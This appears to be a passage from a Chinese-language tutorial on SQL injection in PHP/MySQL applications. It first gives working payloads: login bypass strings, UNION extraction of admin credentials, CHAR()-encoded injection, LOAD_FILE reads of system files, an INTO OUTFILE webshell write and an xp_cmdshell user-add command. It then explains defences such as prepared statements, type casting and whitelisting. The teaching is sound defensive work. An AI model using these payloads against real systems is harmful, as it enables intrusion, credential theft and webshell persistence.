$query = "SELECT * FROM admin WHERE UserName='$username' AND Password='$password'";
// 攻擊: 用戶名 ' OR '1'='1 # 密碼任意
// SQL: SELECT * FROM admin WHERE UserName='' OR '1'='1' # AND Password='...'
// 結果: 返回第一行記錄 (通常是管理員),登錄成功
變體:' OR 1=1 --, ' OR 'a'='a, admin' # (已知用戶名)。
案例:下載站 dlid 參數注入。
https://site/down/index.php?dlid=1 AND 1=2 UNION SELECT 1,2,password,4,username,6... FROM admin
// 需猜解列數 (18列)、字段類型匹配 (password/username 放在字符型列位置)
單引號被轉義,無法閉合字符串。**利用無引號數字型注入或編碼函數** 。
// 查詢: SELECT * FROM article WHERE type=$type (無引號)
// 攻擊: type=CHAR(120,105,97,111,104,117,97) AND 1=2 UNION SELECT ...
// MySQL 解析 CHAR() 為字符串 'xiaohua',實現注入
同理 LOAD_FILE() 讀取文件:LOAD_FILE(CHAR(99,58,47,98,111,111,116,46,105,110,105)) 讀取 c:/boot.ini。
INTO OUTFILE:寫入 WebShell (需 FILE 權限、知曉絕對路徑、目錄可寫)。SELECT '' INTO OUTFILE '/var/www/html/shell.php'LOAD_FILE():讀取敏感文件 (/etc/passwd, 配置文件、源碼)。xp_cmdshell:執行系統命令 (需 sa 權限)。'; EXEC master..xp_cmdshell 'net user hack 123 /add' --// PDO (推薦)
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND status = ?");
$stmt->execute([$username, 1]);
$user = $stmt->fetch();
// MySQLi
$stmt = $mysqli->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();
**原理**:SQL 邏輯與數據分離,數據庫解析階段確定查詢計畫,參數僅作為數據傳輸,絕不參與 SQL 編譯。
$id = (int)$_GET['id']; 或 filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT)。in_array($type, ['news','product','video'])。LOAD_FILE(), INTO OUTFILE (MySQL 配置 secure_file_priv 限制目錄)。display_errors = Off, log_errors = On。SQL 注入本質是**代碼與數據未分離**。**預處理語句是唯一根治方案**,其他手段 (過濾、轉義、WAF) 均為輔助/緩解。現代框架 (Laravel Eloquent, PDO, Doctrine) 均默認使用預處理,開發者應杜絕手動拼接 SQL。